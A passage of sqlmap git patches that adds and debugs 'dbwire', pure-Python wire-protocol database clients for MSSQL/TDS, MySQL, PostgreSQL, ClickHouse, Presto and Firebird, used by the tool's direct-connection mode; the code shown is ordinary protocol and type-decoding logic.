8, 0, packet_id & 0xff, 0) + sock.sendall(header + chunk) + packet_id += 1 + if last: + break + +def _read_message(sock): + # reassemble a full TDS message across packets (EOM status bit marks the last) + body = b"" + while True: + header = _recvn(sock, 8) + mtype, status, length = struct.unpack(">BBH", header[:4]) + if length < 8 or length > _MAX_MESSAGE_LENGTH: + raise InterfaceError("invalid TDS packet length (%d)" % length) + body += _recvn(sock, length - 8) + if status & _STATUS_EOM: + break + return body + +# ---- PRELOGIN ---------------------------------------------------------------------------------------- + +def _prelogin(sock): + ver = struct.pack(">IH", 0x11000000, 0) + enc = b"\x02" # ENCRYPT_NOT_SUP + tokens = b"\x00" + struct.pack(">HH", 11, len(ver)) + tokens += b"\x01" + struct.pack(">HH", 11 + len(ver), len(enc)) + tokens += b"\xff" + _send_message(sock, _PKT_PRELOGIN, tokens + ver + enc) + body = _read_message(sock) + off = 0 + while off < len(body) and _u8(body, off) != 0xff: + token = _u8(body, off) + toff, tlen = struct.unpack(">HH", body[off + 1:off + 5]) + if token == 0x01 and _u8(body, toff) == 0x03: # server requires encryption + raise NotSupportedError("server requires TDS encryption; the dependency-free client supports cleartext only") + off += 5 + +# ---- LOGIN7 ------------------------------------------------------------------------------------------ + +def _encode_password(password): + out = bytearray() + for b in bytearray(password.encode("utf-16-le")): + b = ((b << 4) & 0xf0) | ((b >> 4) & 0x0f) + out.append(b ^ 0xa5) + return bytes(out) + +def _login7(sock, user, password, database, hostname="dbwire", appname="dbwire"): + fields = [ + hostname.encode("utf-16-le"), + (user or "").encode("utf-16-le"), + _encode_password(password or ""), + appname.encode("utf-16-le"), + b"", # server name + b"", # (extension / unused) + "dbwire".encode("utf-16-le"), # client interface name + b"", # language + (database or "").encode("utf-16-le"), + ] + char_counts = [6, len(user or ""), len(password or ""), 6, 0, 0, 6, 0, len(database or "")] + + base = 94 # fixed header (36) + offset/length block (58) + var, offsets, cursor = b"", b"", base + for i, data in enumerate(fields): + offsets += struct.pack(" raw bytes + if t in (0xe7, 0xef): + return raw.decode("utf-16-le", "replace"), off + return raw.decode("latin-1"), off # (var)char is the collation's single-byte codepage; latin-1 round-trips every byte losslessly + + if t in (0x23, 0x63, 0x22): # TEXT/NTEXT/IMAGE: 1-byte textptr len (0 = NULL) then textptr+timestamp then 4-byte len + ptr_len = _u8(data, off); off += 1 + if ptr_len == 0: + return None, off + off += ptr_len + 8 + (n,) = struct.unpack("= 0 else -value) + s = ("-" if value < 0 else "") + s[:-col.scale] + "." + s[-col.scale:] + return s, off + return str(value), off + if t == 0x24: # GUID + a, b, c = struct.unpack("= len(self._rows): + return None + retVal = self._rows[self._pos] + self._pos += 1 + return retVal + + def close(self): + self._rows = [] + +class Connection(object): + def __init__(self, sock): + self._sock = sock + + def cursor(self): + return Cursor(self) + + def commit(self): + pass # sqlmap issues autonomous statements; SET IMPLICIT_TRANSACTIONS is off by default + + def rollback(self): + pass + + def close(self): + try: + self._sock.close() + except Exception: + pass + + def _query(self, query): + # TDS 7.2+ SQL batch must be prefixed with ALL_HEADERS carrying the transaction descriptor header + headers = struct.pack(" pure-python 'extra/dbwire' wire-protocol module, used as a dependency-free '-d' fallback when +# neither a native driver nor SQLAlchemy is installed (a single module serves the whole compatible family, +# e.g. 'postgres' also covers CockroachDB/CrateDB/Redshift/Greenplum) +DBWIRE_MODULES = { + DBMS.PGSQL: "postgres", + DBMS.CRATEDB: "postgres", # CrateDB speaks the PostgreSQL wire protocol + DBMS.MYSQL: "mysql", + DBMS.MSSQL: "tds", + DBMS.SYBASE: "tds", + DBMS.CLICKHOUSE: "clickhouse", + DBMS.MONETDB: "monetdb", + DBMS.PRESTO: "presto", +} + # Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/ FROM_DUMMY_TABLE = { DBMS.ORACLE: " FROM DUAL", diff --git a/lib/core/settings.py b/lib/core/settings.py index fba21d81b44..d2c2cbc3896 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.84" +VERSION = "1.10.7.85" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/dbwire.py b/lib/utils/dbwire.py new file mode 100644 index 00000000000..ce81a0fb20e --- /dev/null +++ b/lib/utils/dbwire.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import importlib +import logging + +import extra.dbwire + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Adapter exposing sqlmap's connector interface over a dependency-free 'extra/dbwire' pure-python + wire-protocol client. Used for '-d' when neither a native driver nor SQLAlchemy is available. + """ + + def __init__(self, module): + GenericConnector.__init__(self) + self._driver = importlib.import_module("extra.dbwire.%s" % module) + + def connect(self): + self.initConnection() + + try: + self.connector = self._driver.connect(host=self.hostname, port=self.port, user=self.user, password=self.password, database=self.db, connect_timeout=conf.timeout) + except extra.dbwire.Error as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except extra.dbwire.Error as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except extra.dbwire.Error as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + + self.connector.commit() + + def select(self, query): + self.execute(query) + return self.fetchall() From 2acc8a554044174a33f085c9b51d3e2785b677e4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 10:59:49 +0200 Subject: [PATCH 742/853] Patches for dbwire --- extra/dbwire/clickhouse.py | 7 +++++-- extra/dbwire/postgres.py | 1 - extra/dbwire/presto.py | 31 ++++++++++++++++++++++++++----- extra/dbwire/tds.py | 1 - lib/core/settings.py | 2 +- 5 files changed, 32 insertions(+), 10 deletions(-) diff --git a/extra/dbwire/clickhouse.py b/extra/dbwire/clickhouse.py index 5d808d4a5ad..a172c25d0d1 100644 --- a/extra/dbwire/clickhouse.py +++ b/extra/dbwire/clickhouse.py @@ -14,6 +14,7 @@ """ import base64 +import socket try: from urllib.request import Request, urlopen # Python 3 @@ -29,14 +30,14 @@ def _unescape(value): return None if "\\" not in value: return value - out, it = [], iter(range(len(value))) + out = [] i = 0 n = len(value) while i < n: ch = value[i] if ch == "\\" and i + 1 < n: nxt = value[i + 1] - out.append({"t": "\t", "n": "\n", "r": "\r", "0": "\0", "\\": "\\", "'": "'"}.get(nxt, nxt)) + out.append({"t": "\t", "n": "\n", "r": "\r", "0": "\0", "b": "\b", "f": "\f", "a": "\a", "v": "\v", "\\": "\\", "'": "'"}.get(nxt, nxt)) i += 2 else: out.append(ch) @@ -103,6 +104,8 @@ def _query(self, query): raise ProgrammingError("(remote) %s" % ex.read().decode("utf-8", "replace").strip()) except URLError as ex: raise OperationalError("(remote) %s" % ex) + except (socket.timeout, socket.error) as ex: + raise OperationalError("(remote) %s" % ex) if not body: return None, [] diff --git a/extra/dbwire/postgres.py b/extra/dbwire/postgres.py index 0e848f3cb45..031ec6b3d15 100644 --- a/extra/dbwire/postgres.py +++ b/extra/dbwire/postgres.py @@ -23,7 +23,6 @@ import socket import struct -from extra.dbwire import DatabaseError from extra.dbwire import DataError from extra.dbwire import IntegrityError from extra.dbwire import InterfaceError diff --git a/extra/dbwire/presto.py b/extra/dbwire/presto.py index a0857e1ef32..7deede433ae 100644 --- a/extra/dbwire/presto.py +++ b/extra/dbwire/presto.py @@ -14,7 +14,7 @@ import base64 import json -import time +import socket try: from urllib.request import Request, urlopen # Python 3 @@ -27,6 +27,20 @@ from extra.dbwire import OperationalError from extra.dbwire import ProgrammingError +def _convert(value, coltype): + # normalize Presto/Trino JSON cells for sqlmap: VARBINARY arrives base64-encoded (decode to bytes so + # direct()'s binary handling hex-encodes it), ARRAY/MAP/ROW arrive as JSON structures (serialize to text) + if value is None: + return value + if coltype.startswith("varbinary"): + try: + return base64.b64decode(value) + except Exception: + return value + if isinstance(value, (list, dict)): + return json.dumps(value) + return value + class Cursor(object): def __init__(self, connection): self.connection = connection @@ -65,9 +79,13 @@ def __init__(self, host, port, user, password, catalog, schema, timeout): self._headers = {"Content-Type": "text/plain"} for prefix in ("X-Presto-", "X-Trino-"): self._headers[prefix + "User"] = user or "sqlmap" - self._headers[prefix + "Catalog"] = catalog or "" - self._headers[prefix + "Schema"] = schema or "default" self._headers[prefix + "Source"] = "dbwire" + # only send Catalog/Schema when supplied: a Schema without a Catalog makes Trino reject every + # request ("Schema is set but catalog is not"), so never force a "default" schema + if catalog: + self._headers[prefix + "Catalog"] = catalog + if schema: + self._headers[prefix + "Schema"] = schema if password: token = base64.b64encode(("%s:%s" % (user or "", password)).encode("utf-8")).decode("ascii") self._headers["Authorization"] = "Basic %s" % token @@ -92,6 +110,8 @@ def _request(self, url, data=None): raise ProgrammingError("(remote) HTTP %s: %s" % (ex.code, ex.read().decode("utf-8", "replace")[:200])) except URLError as ex: raise OperationalError("(remote) %s" % ex) + except (socket.timeout, socket.error) as ex: + raise OperationalError("(remote) %s" % ex) try: return json.loads(body) except ValueError as ex: @@ -99,15 +119,16 @@ def _request(self, url, data=None): def _query(self, query): page = self._request(self._statement_url, data=query) - columns, rows = None, [] + columns, rows, types = None, [], [] while True: if page.get("error"): message = page["error"].get("message", "unknown error") raise ProgrammingError("(remote) %s" % message) if page.get("columns") and columns is None: columns = [(c.get("name"), c.get("type"), None, None, None, None, None) for c in page["columns"]] + types = [(c.get("type") or "") for c in page["columns"]] for row in page.get("data") or []: - rows.append(tuple(row)) + rows.append(tuple(_convert(v, types[i] if i < len(types) else "") for i, v in enumerate(row))) next_uri = page.get("nextUri") if not next_uri: break diff --git a/extra/dbwire/tds.py b/extra/dbwire/tds.py index 3c3bd3a12ff..ad99c89dfd3 100644 --- a/extra/dbwire/tds.py +++ b/extra/dbwire/tds.py @@ -355,7 +355,6 @@ def _parse_tokens(sock, login=False): rows.append(tuple(row)) elif token == 0xaa: # ERROR (tlen,) = struct.unpack("...) -VERSION = "1.10.7.85" +VERSION = "1.10.7.86" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From a61e35980aa011f186255bd43cfe44bdea965632 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 11:36:35 +0200 Subject: [PATCH 743/853] Bug fixes for dbwire --- extra/dbwire/clickhouse.py | 46 +++++--- extra/dbwire/mysql.py | 11 +- extra/dbwire/tds.py | 235 +++++++++++++++++++++++++++++-------- lib/core/settings.py | 2 +- 4 files changed, 226 insertions(+), 68 deletions(-) diff --git a/extra/dbwire/clickhouse.py b/extra/dbwire/clickhouse.py index a172c25d0d1..b6a9cae588b 100644 --- a/extra/dbwire/clickhouse.py +++ b/extra/dbwire/clickhouse.py @@ -25,24 +25,34 @@ from extra.dbwire import OperationalError from extra.dbwire import ProgrammingError +# TabSeparated backslash escapes -> the literal byte they denote +_ESCAPE = {ord("t"): 9, ord("n"): 10, ord("r"): 13, ord("0"): 0, ord("b"): 8, + ord("f"): 12, ord("a"): 7, ord("v"): 11, ord("\\"): 92, ord("'"): 39} + def _unescape(value): - if value == "\\N": + # value: the raw bytes of one TSV field -> None (\N) or the unescaped bytes. Operates on bytes because a + # String/FixedString column can hold arbitrary non-UTF-8 data, which a whole-body utf-8 decode would destroy. + if value == b"\\N": return None - if "\\" not in value: + if b"\\" not in value: return value - out = [] - i = 0 - n = len(value) + src, out, i, n = bytearray(value), bytearray(), 0, len(value) while i < n: - ch = value[i] - if ch == "\\" and i + 1 < n: - nxt = value[i + 1] - out.append({"t": "\t", "n": "\n", "r": "\r", "0": "\0", "b": "\b", "f": "\f", "a": "\a", "v": "\v", "\\": "\\", "'": "'"}.get(nxt, nxt)) - i += 2 + c = src[i] + if c == 0x5c and i + 1 < n: # backslash + out.append(_ESCAPE.get(src[i + 1], src[i + 1])); i += 2 else: - out.append(ch) - i += 1 - return "".join(out) + out.append(c); i += 1 + return bytes(out) + +def _decode_cell(value): + # keep text as str; hand back raw bytes only when a value is not valid UTF-8 (sqlmap then hex-encodes it) + if value is None: + return None + try: + return value.decode("utf-8") + except UnicodeDecodeError: + return value class Cursor(object): def __init__(self, connection): @@ -99,7 +109,7 @@ def close(self): def _query(self, query): req = Request(self._url, data=query.encode("utf-8"), headers=self._headers) try: - body = urlopen(req, timeout=self._timeout).read().decode("utf-8", "replace") + body = urlopen(req, timeout=self._timeout).read() # bytes: column data may be non-UTF-8 except HTTPError as ex: raise ProgrammingError("(remote) %s" % ex.read().decode("utf-8", "replace").strip()) except URLError as ex: @@ -109,13 +119,13 @@ def _query(self, query): if not body: return None, [] - lines = body.split("\n") - if lines and lines[-1] == "": + lines = body.split(b"\n") + if lines and lines[-1] == b"": lines.pop() if not lines: return None, [] - description = [(name, None, None, None, None, None, None) for name in (_unescape(_) for _ in lines[0].split("\t"))] - rows = [tuple(_unescape(_) for _ in line.split("\t")) for line in lines[1:]] + description = [(name, None, None, None, None, None, None) for name in (_decode_cell(_unescape(_)) for _ in lines[0].split(b"\t"))] + rows = [tuple(_decode_cell(_unescape(_)) for _ in line.split(b"\t")) for line in lines[1:]] return description, rows def connect(host=None, port=8123, user=None, password=None, database=None, connect_timeout=None, **kwargs): diff --git a/extra/dbwire/mysql.py b/extra/dbwire/mysql.py index ba497b7d68a..4f9b6726220 100644 --- a/extra/dbwire/mysql.py +++ b/extra/dbwire/mysql.py @@ -35,7 +35,11 @@ _MAX_PACKET = 0x1000000 _MAX_MESSAGE_LENGTH = 0x40000000 # cap on a (re-assembled) payload, to bound a hostile/corrupt stream -_BINARY_CHARSET = 63 # collation id 63 == 'binary' (BLOB/BINARY/VARBINARY columns) +_BINARY_CHARSET = 63 # collation id 63 == 'binary' +# field types for which charset==63 genuinely denotes raw bytes (BLOB/BINARY/VARBINARY/BIT/GEOMETRY family). +# Numeric & temporal columns ALSO report charset 63 in the text protocol, but carry their ASCII text form - +# they must be decoded, not returned as bytes (else -d hexifies e.g. the int 12345 to '3132333435'). +_BINARY_TYPES = frozenset((15, 16, 249, 250, 251, 252, 253, 254, 255)) # VARCHAR,BIT,*BLOB,VAR_STRING,STRING,GEOMETRY def _xor(a, b): if str is bytes: # Python 2 @@ -210,8 +214,9 @@ def _read_query_response(self): _, off = _lenc_str(cpay, off) # org_name _, off = _lenc_int(cpay, off) # length of the fixed-length block (0x0c) charset = struct.unpack("= 0 else ("-", -offset) + s += " %s%02d:%02d" % (sign, mins // 60, mins % 60) + return s + +# SQL Server COLLATION -> Python codec. The 5-byte collation is a little-endian uint32 (low 20 bits = LCID) +# plus a 1-byte sort id: a non-zero sort id fixes the code page, else the LCID does. Only single-byte / DBCS +# code pages need a codec (NVARCHAR is UTF-16, handled separately). Derived from pytds; default cp1252 (the +# stock SQL_Latin1_General code page - NOT latin-1, whose 0x80-0x9F differ, corrupting e.g. the euro sign). +_LCID_CP = { + 0x405: "cp1250", 0x40e: "cp1250", 0x415: "cp1250", 0x418: "cp1250", 0x41a: "cp1250", 0x41b: "cp1250", + 0x41c: "cp1250", 0x424: "cp1250", 0x402: "cp1251", 0x419: "cp1251", 0x422: "cp1251", 0x423: "cp1251", + 0x42f: "cp1251", 0x408: "cp1253", 0x41f: "cp1254", 0x42c: "cp1254", 0x443: "cp1254", 0x40d: "cp1255", + 0x401: "cp1256", 0x420: "cp1256", 0x429: "cp1256", 0x425: "cp1257", 0x426: "cp1257", 0x427: "cp1257", + 0x42a: "cp1258", 0x41e: "cp874", 0x411: "cp932", 0x804: "cp936", 0x1004: "cp936", 0x412: "cp949", + 0x404: "cp950", 0xc04: "cp950", 0x1404: "cp950", +} + +def _sortid_cp(sid): + if 30 <= sid <= 34: + return "cp437" + if 40 <= sid <= 44 or sid == 49 or 55 <= sid <= 61: + return "cp850" + if sid in (51, 52, 53, 54) or 183 <= sid <= 186: + return "cp1252" + if 80 <= sid <= 96: + return "cp1250" + if 104 <= sid <= 108: + return "cp1251" + if 112 <= sid <= 124: + return "cp1253" + if 128 <= sid <= 130: + return "cp1254" + if 136 <= sid <= 138: + return "cp1255" + if 144 <= sid <= 146: + return "cp1256" + if 152 <= sid <= 160: + return "cp1257" + return None + +def _collation_codec(collation): + if not collation or len(collation) < 5: + return "cp1252" + lump = struct.unpack(" raw bytes + if base in (0xa7, 0xaf): # (var)char: metadata = 5-byte collation + 2-byte max length + return val.decode(_collation_codec(meta[:5]), "replace") + if base == 0x28: + return _decode_temporal(base, 0, val) + if base in (0x29, 0x2a, 0x2b): # metadata = scale + return _decode_temporal(base, bytearray(meta)[0], val) + return "".join("%02x" % x for x in bytearray(val)) # unknown base type -> hex (never desyncs) + class _Column(object): - __slots__ = ("name", "type", "size", "scale", "binary") + __slots__ = ("name", "type", "size", "scale", "binary", "collation") def _parse_type_info(data, off): col = _Column() col.type = _u8(data, off); off += 1 - col.size, col.scale, col.binary = 0, 0, False + col.size, col.scale, col.binary, col.collation = 0, 0, False, None t = col.type if t in (0x30, 0x32, 0x34, 0x38, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x7a, 0x7f, 0x1f): pass # fixed-length types, size implied by type - elif t in (0x26, 0x68, 0x6d, 0x6e, 0x6f, 0x24, 0x2e, 0x37): # INTN/BITN/FLTN/MONEYN/DATETIMN/GUID + elif t in (0x26, 0x68, 0x6d, 0x6e, 0x6f, 0x24): # INTN/BITN/FLTN/MONEYN/DATETIMN/GUID col.size = _u8(data, off); off += 1 - elif t in (0x6a, 0x6c): # DECIMALN / NUMERICN + elif t in (0x6a, 0x6c, 0x37, 0x3f): # DECIMALN/NUMERICN + legacy DECIMAL/NUMERIC (size, precision, scale) col.size = _u8(data, off); off += 1 off += 1 # precision col.scale = _u8(data, off); off += 1 elif t in (0xa7, 0xaf, 0xe7, 0xef): # (BIG)VARCHAR/CHAR, N(VAR)CHAR col.size = struct.unpack(" raw bytes if t in (0xe7, 0xef): return raw.decode("utf-16-le", "replace"), off - return raw.decode("latin-1"), off # (var)char is the collation's single-byte codepage; latin-1 round-trips every byte losslessly + return raw.decode(_collation_codec(col.collation), "replace"), off # (var)char: the collation's code page if t in (0x23, 0x63, 0x22): # TEXT/NTEXT/IMAGE: 1-byte textptr len (0 = NULL) then textptr+timestamp then 4-byte len ptr_len = _u8(data, off); off += 1 @@ -258,7 +414,21 @@ def _decode_value(col, data, off): return raw, off if t == 0x63: return raw.decode("utf-16-le", "replace"), off - return raw.decode("latin-1"), off # TEXT is single-byte codepage; latin-1 is lossless + return raw.decode(_collation_codec(col.collation), "replace"), off # TEXT: the collation's code page + + if t == 0xf1: # XML: PLP-encoded UTF-16-LE + raw, off = _read_plp(data, off) + return (raw.decode("utf-16-le", "replace") if raw is not None else None), off + + if t == 0xf0: # UDT (geometry/geography/hierarchyid): PLP raw bytes -> sqlmap hex-encodes them + return _read_plp(data, off) + + if t == 0x62: # SQL_VARIANT: 4-byte total length (0 = NULL) then a self-describing value body + (total,) = struct.unpack("= 0 else -value) - s = ("-" if value < 0 else "") + s[:-col.scale] + "." + s[-col.scale:] - return s, off - return str(value), off + return _decode_money(raw), off + if t in (0x6a, 0x6c, 0x37, 0x3f): # DECIMALN / NUMERICN (+ legacy DECIMAL / NUMERIC) + return _decode_numeric(raw, col.scale), off if t == 0x24: # GUID - a, b, c = struct.unpack("...) -VERSION = "1.10.7.86" +VERSION = "1.10.7.87" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 9d08b1dc035457f2b0dfcefa18032b05fd2ac5a6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 12:01:51 +0200 Subject: [PATCH 744/853] Some more bug fixes for dbwire --- extra/dbwire/mysql.py | 26 ++++++++++++++++----- extra/dbwire/postgres.py | 49 +++++++++++++++++++++++++++++++++++++--- extra/dbwire/tds.py | 27 +++++++++++++--------- lib/core/settings.py | 2 +- 4 files changed, 83 insertions(+), 21 deletions(-) diff --git a/extra/dbwire/mysql.py b/extra/dbwire/mysql.py index 4f9b6726220..6d1773ba570 100644 --- a/extra/dbwire/mysql.py +++ b/extra/dbwire/mysql.py @@ -36,10 +36,11 @@ _MAX_PACKET = 0x1000000 _MAX_MESSAGE_LENGTH = 0x40000000 # cap on a (re-assembled) payload, to bound a hostile/corrupt stream _BINARY_CHARSET = 63 # collation id 63 == 'binary' -# field types for which charset==63 genuinely denotes raw bytes (BLOB/BINARY/VARBINARY/BIT/GEOMETRY family). +# field types for which charset==63 genuinely denotes raw bytes (BLOB/BINARY/VARBINARY/GEOMETRY family). # Numeric & temporal columns ALSO report charset 63 in the text protocol, but carry their ASCII text form - # they must be decoded, not returned as bytes (else -d hexifies e.g. the int 12345 to '3132333435'). -_BINARY_TYPES = frozenset((15, 16, 249, 250, 251, 252, 253, 254, 255)) # VARCHAR,BIT,*BLOB,VAR_STRING,STRING,GEOMETRY +_BINARY_TYPES = frozenset((15, 249, 250, 251, 252, 253, 254, 255)) # VARCHAR,*BLOB,VAR_STRING,STRING,GEOMETRY +_TYPE_BIT = 16 # BIT reports charset 63 but is decoded to a big-endian integer (matches SQLAlchemy/mysql-connector) def _xor(a, b): if str is bytes: # Python 2 @@ -117,6 +118,12 @@ def _err_message(payload): off = 9 return payload[off:].decode("utf-8", "replace") +def _bit_int(value): + n = 0 # BIT arrives as a big-endian byte string + for b in bytearray(value): + n = (n << 8) | b + return n + def _scramble_native(password, salt): if not password: return b"" @@ -232,6 +239,8 @@ def _read_query_response(self): value, off = _lenc_str(payload, off) if value is None: row.append(None) + elif description[i][1] == _TYPE_BIT: + row.append(str(_bit_int(value))) # big-endian integer, e.g. b'\x2a' -> '42' elif binary[i]: row.append(value) # keep binary/BLOB columns as raw bytes (sqlmap hex-encodes them) else: @@ -327,10 +336,15 @@ def connect(host=None, port=3306, user=None, password=None, database=None, conne raise OperationalError("handshake failed (%s)" % ex) connection = Connection(sock) - try: - connection._query("SET autocommit=1") # so DML persists even if the server default is autocommit=0 - except Exception: - pass + # SET NAMES: reset collation_connection to the server's default (the fixed handshake collation 45 = + # utf8mb4_general_ci otherwise clashes with MySQL 8's utf8mb4_0900_ai_ci columns -> 'illegal mix of + # collations' 1271 in a UNION/CONCAT); results stay utf8mb4 so the utf-8 decode is unchanged. autocommit=1 + # so DML persists even if the server default is autocommit=0. Both best-effort (one-time, at connect). + for setup in ("SET NAMES utf8mb4", "SET autocommit=1"): + try: + connection._query(setup) + except Exception: + pass return connection def _safe_close(sock): diff --git a/extra/dbwire/postgres.py b/extra/dbwire/postgres.py index 031ec6b3d15..227fe69547f 100644 --- a/extra/dbwire/postgres.py +++ b/extra/dbwire/postgres.py @@ -32,6 +32,28 @@ _PROTOCOL_VERSION = 196608 # 3.0 _MAX_MESSAGE_LENGTH = 0x40000000 # 1 GB - guard against a hostile/corrupt length triggering an unbounded read +_OID_BYTEA = 17 # bytea arrives as the server's text form; decode to bytes so it hexes like the native driver + +def _decode_bytea(raw): + # PG text output: modern 'hex' = b'\\x'; legacy 'escape' = octal \ooo + literal bytes + if raw[:2] == b"\\x": + try: + return binascii.unhexlify(raw[2:]) + except (binascii.Error, ValueError): + return raw.decode("utf-8", "replace") + src, out, i, n = bytearray(raw), bytearray(), 0, len(raw) + while i < n: + if src[i] == 0x5c and i + 1 < n: # backslash + nxt = src[i + 1] + if nxt == 0x5c: + out.append(0x5c); i += 2 + elif 0x30 <= nxt <= 0x37 and i + 3 < n: # \ooo octal + out.append(((nxt - 48) << 6) | ((src[i + 2] - 48) << 3) | (src[i + 3] - 48)); i += 4 + else: + out.append(nxt); i += 2 + else: + out.append(src[i]); i += 1 + return bytes(out) # SQLSTATE class (first 2 chars) -> DB-API exception, so callers can distinguish (mirrors psycopg2) _SQLSTATE_CLASS = { @@ -114,6 +136,7 @@ def close(self): class Connection(object): def __init__(self, sock): self._sock = sock + self._txn_status = b"I" # last ReadyForQuery transaction status: I(dle) / T(ransaction) / E(rror) def cursor(self): return Cursor(self) @@ -134,7 +157,19 @@ def close(self): except Exception: pass + def _clear_aborted(self): + # a prior statement left an aborted transaction block ('E'): every further statement errors with + # 25P02 until it is rolled back. Clear it so the reused connection recovers (psycopg2 rollback semantics). + _send(self._sock, b"Q", b"ROLLBACK\x00") + while True: + mtype, payload = _read_message(self._sock) + if mtype == b"Z": + self._txn_status = payload[:1] or b"I" + break + def _simple_query(self, query): + if self._txn_status == b"E": + self._clear_aborted() _send(self._sock, b"Q", query.encode("utf-8") + b"\x00") description, rows, rowcount, error = None, [], -1, None @@ -154,7 +189,7 @@ def _simple_query(self, query): elif mtype == b"D": # DataRow (count,) = struct.unpack("!H", payload[:2]) off, row = 2, [] - for _ in range(count): + for col in range(count): (vlen,) = struct.unpack("!i", payload[off:off + 4]) off += 4 if vlen == -1: @@ -162,8 +197,15 @@ def _simple_query(self, query): else: if off + vlen > len(payload): raise InterfaceError("truncated DataRow") - row.append(payload[off:off + vlen].decode("utf-8", "replace")) + raw = payload[off:off + vlen] off += vlen + if description and col < len(description) and description[col][1] == _OID_BYTEA: + row.append(_decode_bytea(raw)) # bytes so sqlmap hex-encodes it (like the native driver) + else: + try: + row.append(raw.decode("utf-8")) + except UnicodeDecodeError: + row.append(raw) # non-UTF-8 (e.g. a SQL_ASCII db): keep bytes (hex-encoded), not lossy U+FFFD rows.append(tuple(row)) elif mtype == b"C": # CommandComplete ("SELECT 3", "INSERT 0 1", ...) tag = payload[:-1].decode("utf-8", "replace").split() @@ -173,7 +215,8 @@ def _simple_query(self, query): _send(self._sock, b"f", b"COPY FROM STDIN is not supported\x00") # CopyFail elif mtype == b"E": # ErrorResponse error = _error_message(payload) - elif mtype == b"Z": # ReadyForQuery (end of response) + elif mtype == b"Z": # ReadyForQuery (end of response); payload byte = transaction status + self._txn_status = payload[:1] or b"I" break # ParameterStatus(S)/NoticeResponse(N)/EmptyQueryResponse(I)/CopyData(d)/CopyDone(c)/... ignored except (struct.error, IndexError, ValueError) as ex: diff --git a/extra/dbwire/tds.py b/extra/dbwire/tds.py index 28ec16d0416..fe4a4dbb6ab 100644 --- a/extra/dbwire/tds.py +++ b/extra/dbwire/tds.py @@ -131,7 +131,10 @@ def _login7(sock, user, password, database, hostname="dbwire", appname="dbwire") header += struct.pack("...) -VERSION = "1.10.7.87" +VERSION = "1.10.7.88" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 05005dde58329b6e76b235e40df06c20479c8387 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 12:55:58 +0200 Subject: [PATCH 745/853] Minor update of dbwire --- extra/dbwire/README.md | 68 ++++ extra/dbwire/firebird.py | 838 +++++++++++++++++++++++++++++++++++++++ lib/core/dicts.py | 1 + lib/core/settings.py | 2 +- 4 files changed, 908 insertions(+), 1 deletion(-) create mode 100644 extra/dbwire/README.md create mode 100644 extra/dbwire/firebird.py diff --git a/extra/dbwire/README.md b/extra/dbwire/README.md new file mode 100644 index 00000000000..85738412958 --- /dev/null +++ b/extra/dbwire/README.md @@ -0,0 +1,68 @@ +# dbwire + +Minimal, dependency-free database wire-protocol clients used as a fallback for sqlmap's direct +(`-d`) connection mode. + +## What this is + +sqlmap's `-d` mode talks to a database server directly instead of through an injection point. It +normally does so via a native driver (`psycopg2`, `pymysql`, `pymssql`, ...) or, if one is missing, +via SQLAlchemy. When neither is installed, `dbwire` provides a small pure-python client so that `-d` +still works out of the box. + +Every module here is written against the database's **wire protocol** using only the Python standard +library (`socket`, `struct`, `hashlib`, `hmac`, `base64`, `urllib`). There are no third-party +dependencies, and the sources run unmodified on Python 2.7 and Python 3. + +## Coverage + +A wire protocol is shared across a whole family of products, so one client serves several engines: + +| Module | Protocol | Engines | +|-----------------|---------------------|---------| +| `postgres.py` | PostgreSQL v3 | PostgreSQL, CockroachDB, CrateDB, Redshift, Greenplum | +| `mysql.py` | MySQL client/server | MySQL, MariaDB, TiDB, Aurora (MySQL), Percona | +| `tds.py` | TDS | Microsoft SQL Server, Sybase | +| `firebird.py` | Firebird wire | Firebird 3 / 4 / 5 | +| `clickhouse.py` | HTTP (TabSeparated) | ClickHouse and HTTP-compatible forks | +| `monetdb.py` | MAPI | MonetDB | +| `presto.py` | 